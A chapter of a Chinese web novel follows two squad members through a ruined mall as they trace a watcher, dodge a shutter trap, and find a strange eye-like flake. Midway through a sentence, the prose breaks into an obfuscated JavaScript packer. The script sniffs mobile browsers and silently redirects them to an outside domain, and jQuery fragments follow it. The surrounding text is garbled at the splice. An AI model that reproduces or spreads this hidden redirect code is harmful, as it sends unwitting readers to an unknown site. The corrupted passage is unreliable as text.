“眼睛多了,通常不是好事。”林风禾收回目光,眼底浸满冷意。
“周野,侦察机升高,继续盯紧商场出口。”他接通队内通讯,另一只手搭在枪柄上,“陈渡,监测医院周边所有生命信号。宋岚守住三楼,继续记录数据。”
“明白。”三人同时应道。
天色已经开始暗了。
灰雾从建筑之间悄然漫起,商场外的广告牌映着铅灰色的天空,透出一张张褪了色的脸。
“你要过去?”宋岚问。
“确认对方是否留下监测设备,”林风禾看了眼时间,“半小时内回来。”
贸然追逐一个身份不明、行动未知的人并不明智。更重要的是,那个人出现得太巧,他们封存母体之后,对方才暴露在侦察机下。与其说是来不及躲藏,不如说是想引他们离开医院。
但对方已经发现了医院的感染者,也极有可能已经发现了屋顶发生的一切,甚至,发现了陆骁。
这个风险不能留到清理队进场以后。
林风禾抬手拉上窗口的帆布,转身走回走廊尽头。
镇静剂似乎已经起效,罗成睡着了。小川抱膝坐在门边,悄悄抬头看向走过来的两人,裤腿上还沾着方才蹭到的血。
跛腿男人守着几个喝过雨水的人,弩箭横放在腿上,脊背始终绷得笔直。见林风禾回来,他朝窗口瞥了一眼:“对面的人跑了?”
“嗯。”林风禾应道。
“是研究院的人?”
“不确定。”林风禾语气平静,“外表没有可识别标记,行动方式也不能证明身份。”
男人显然不满意这个答案,眉心拧起:“除了他们,谁会盯着一群感染者?”
陆骁倚在窗边,语气随意道:“污染区里想看热闹的人确实不多。”
“先把遮挡物都拉上,让所有人离开窗口。”林风禾转向男人,“把人集中到南侧病房,不要上屋顶,不要再接入公共频段。”
男人看了他一会儿,最终转头招呼众人退进南侧病房。
林风禾转过身,走向架着绳梯的窗口。
“我也去。”陆骁站到他身后。
林风禾的视线掠过陆骁腕间的伤口,不容置疑道:“你守医院。”
“那东西认识我,对面的人也可能认识我。”陆骁的语气很轻松,“这么重要的证物,不带上有点浪费。”
林风禾沉默片刻:“你不是证物。”
“这句比风险管理好听。”陆骁笑道。
“但你是风险。所以,不能把你留在我看不见的地方。”林风禾神情冷淡,抬手将一枚备用弹匣抛给他,“跟紧。没有命令,不准接触任何东西。”
陆骁稳稳接住弹匣:“尽量。”
林风禾转身翻出窗口:“你留在这里。”
“明白,一定。”
陆骁立即改口,紧跟着翻跃到绳梯上。
两人落到地面时,雾气已经漫到街道上。
商场正门被一株倒塌的变异榕树封死,粗壮的根须挤进玻璃门,枝叶上挂着几只空鸟巢。
两人绕到西侧,从一道变形的卷帘门下钻了进去。
门后堆着被水泡烂的纸箱,水滴敲在空罐头上,声音沿空旷的商铺滚进黑暗里。
附近不远处安全通道的门半开着,一辆废弃的清洁车横在门口。车里的污水早已耗干,只在塑料桶内壁留下一圈发黑的水垢。
林风禾侧身绕过车头,手电光贴着台阶缓慢向上移动。
确认回声里没有第三个人的脚步声后,他沿着安全通道向上走去。陆骁紧跟其后,没有出声。
两人极轻的脚步声回荡在楼道间。
走到二楼平台时,一辆废弃的理货车抵住了防火门,只留下一道仅容一人侧身通过的缝隙。车筐里堆着几个褪色的模特头,那些头颅被浸得有些发黄,在暗色的环境里显得有些骇人。
林风禾用枪管顶住门缘,侧身进去。
靴底刚落上商场的地砖,忽然,头顶传来“咔”的一声。
“小心!”
警告出口的同时,一线冷光从他的眼前闪过。
林风禾来不及抬头,转身抓住陆骁的胳膊,借着下沉的力道,将人猛地拽进旁边凹陷的店铺入口。
下一秒——
轰!
失去锁扣的卷帘门轰然坠落。
沉重的金属帘擦着他的肩膀砸向地面,巨响在寂静的空间内层层荡开。积攒多年的铁锈与灰尘被气流卷起,纷纷扬扬散在空气里。
陆骁后背撞上紧闭的玻璃门,闷响尚未散开,林风禾已经俯身挡在他面前,一只手撑住门框,另一只手护在他的颈侧。
卷帘带来的震颤沿着墙体传来。玻璃门后的模特随之晃动,其中一具从展示台上栽倒,塑料头颅咕噜咕噜滚进黑暗里。
狭窄的空间里顿时只剩下两人交错的呼吸。
陆骁看看横在自己颈侧的手臂,又看向几乎贴在他身前的人。
“林队长,”他的呼吸还有些重,尾音却又重新扬了起来,“重点监控需要靠这么近?”
林风禾没有回答。他先检查陆骁的瞳孔,又沿肩颈观察了一遍,确认没有金属碎片刺入,才低声问道:“伤到了吗?”
“后背有一点。”陆骁活动两下肩膀,“不过这个距离,应该不影响抢救。”
“还能开玩笑,不需要抢救。”
说罢,林风禾退开一步,转身检查卷帘。
陆骁忽然伸手抓他的手臂,似乎想将他拉回去。但那只手收紧了一瞬,五指便开始不受控制地松开。
林风禾垂眸。
陆骁的右手停在半空,指节正在轻微发颤。手套下方原本停留在腕骨附近的黑色纹路已经越过袖口,向小臂爬出一截。
陆骁若无其事地将手收回身侧。
“手给我。”林风禾道。
“先看陷阱。”陆骁抬了抬下巴,“人跑了,线还在。”
林风禾没动,伸出手:“给我。”
陆骁与他对视片刻,最终还是将右手放了上去。
林风禾握住他的手腕。脱离红丝已经有一段时间了,陆骁的体温却比方才更低,隔着手套还能摸到不规则的轻颤。黑色纹路在指腹下缓慢跳动,像有什么东西正沿着血管向上爬。
“什么时候开始的?”他眉心蹙起。
“刚才。”
他淡淡看陆骁一眼:“说实话。”
陆骁沉默片刻:“离开医院以后。”
林风禾抓着他的手腕,没有说话。
周围还弥漫着呛人的铁锈味,消防卷帘偶尔发出细微的咔嚓声。
陆骁低头看着扣在腕间的手指,唇边的笑意收了些:“只是有点麻,不影响行动。”
“如果,”林风禾目光直直看向陆骁,“刚才我没有拉住你呢?”
“那换我拉你。”陆骁笑道。
“你连自己的手都控制不了。”
“另一只还能用。”
林风禾手指倏地收紧。
陆骁察觉到了,视线在林风禾脸上停了一会儿。林风禾眼睛的颜色原本就浅,此刻,手电的微光更将他的眉眼全都投在了黑暗里,看不出是什么情绪。
“你在生气?”陆骁的声音低下来。
“没有。”
“那就是担心。”
“没有。”
“明白。”陆骁点了点头,“林队长只是在用力捏碎我的手腕。”
“回去以后重新处理。”林风禾松开手,抬眸看他,“你不能失控。”
陆骁毫不犹豫:“遵命。”
林风禾捡起落在地上的手电,转向落下的卷帘。
卷帘并非自然脱落。林风禾用手电照向门轴后方,固定槽叛变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822704|211194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卡着金属销,一根近乎透明的细线正缠在销孔上,线结很小,系得很紧。细线另一端沿着门框穿过去,连着卷帘的手动释放装置。
防火门被推开,线就会绷紧,卷帘就会随之落下。
不出所料,对方提前准备过这条撤离路线。
陆骁蹲到他身边,左手拨了一下断线:“不是为了杀人。”
卷帘只封住了半条通道,旁边还留着一道能够勉强通过的空隙。陷阱造成的是巨响和时间上的拖延。
“是提醒。”林风禾取下金属销,装进样品袋,“走吧。”
两人沿着之前的楼梯继续向上。
青苔顺着墙角的裂缝爬上楼梯,台阶上积着薄灰,一串新鲜鞋印从其中穿过,鞋跟浅,前掌深,连续两个楼梯转角都没有拖蹭的痕迹。
陆骁蹲下,左手将手电压低。光束贴着台阶向上滑去,将那串鞋印一只只照了出来。
“不像临时逃命。”他评价道。
林风禾抬起手电,照向楼上,光落在顶层的防火门上。
门没有完全合拢,黑沉沉的缝隙之间,夹着一片被风吹进来的枯叶。
“先上去。”
林风禾贴在墙边,用枪口将门顶开一道缝。
外面没有人。
他观察片刻后,推门进入屋顶。
空旷处的风比街上更大,倾倒的广告牌时起时伏,每落下一次,都发出一声沉闷的嗡鸣。
广告牌的横撑上有一小片锈斑被硬物磨掉,林风禾顺着磨痕一点点压低视线,直到目光穿过广告牌裂开的缺口。从这里望过去,医院屋顶的金属水箱正好落在缺口之中,往下稍移便是三楼窗口。
横撑下方积着一层薄灰,只有靠近铆钉的位置被擦出了一小块干净区域。
林风禾沿着边缘按了按。
灰尘里留着三道很浅的压痕,间距规整,应该架过某种小型观测设备。压痕旁散落着几缕黑色的线,断口整齐,没有被慌乱拉扯过的痕迹。
“东西已经带走了。”陆骁站在他身后,“走得还挺从容。”
林风禾没有回应。
脚印绕过广告牌,延伸到屋顶东侧,最后停在一段坍塌的围栏前。围栏外没有绳索摩擦留下的痕迹,楼下遮雨棚上的积灰也十分完整。
那个人像是走到这里之后,凭空消失了。
耳机里传来周野的声音:“队长,商场四个出口都没有发现目标。侦察机正在扩大搜索范围。”
“检查相邻屋顶。”
“明白。”
风将广告布重新掀起,沉闷的嗡鸣擦过耳畔。
陆骁忽然偏过头,看向横撑内侧:“那里有东西。”
林风禾顺着他的视线照过去。
铆钉与铁架的缝隙里,嵌着一小片近乎透明的薄片。它只有指甲盖大小,在手电光下泛起一层极淡的灰白微光。
林风禾取出镊子,将它夹进样品袋。
“镜片?”陆骁问。
“不像。”
薄片没有叶片般的纹路,也没有任何人工切割的痕迹,边缘柔软得像是浸润许久的卵石。
林风禾封好袋口,正要收进装备包,身侧的陆骁却忽然退了半步。
陆骁低下头。
腕间的黑色纹路正在急促跳动,一路攀过小臂,像是在回应某种无声的召唤。
与此同时,队内频道响起一阵短促的电流声。
“队长。”陈渡的声音变得凝重,“医院对面出现了一个新的生命信号,强度很弱,但距离你们非常近。”
林风禾的目光缓缓落回样品袋。
袋中那片透明的东西不知何时翻转了过来。灰白色的薄膜向两侧收缩,中央露出针尖大小的黑点。
它在光下停顿片刻,随后极其缓慢地转动,越过林风禾,朝向了陆骁。
像一只刚刚睁开的眼睛。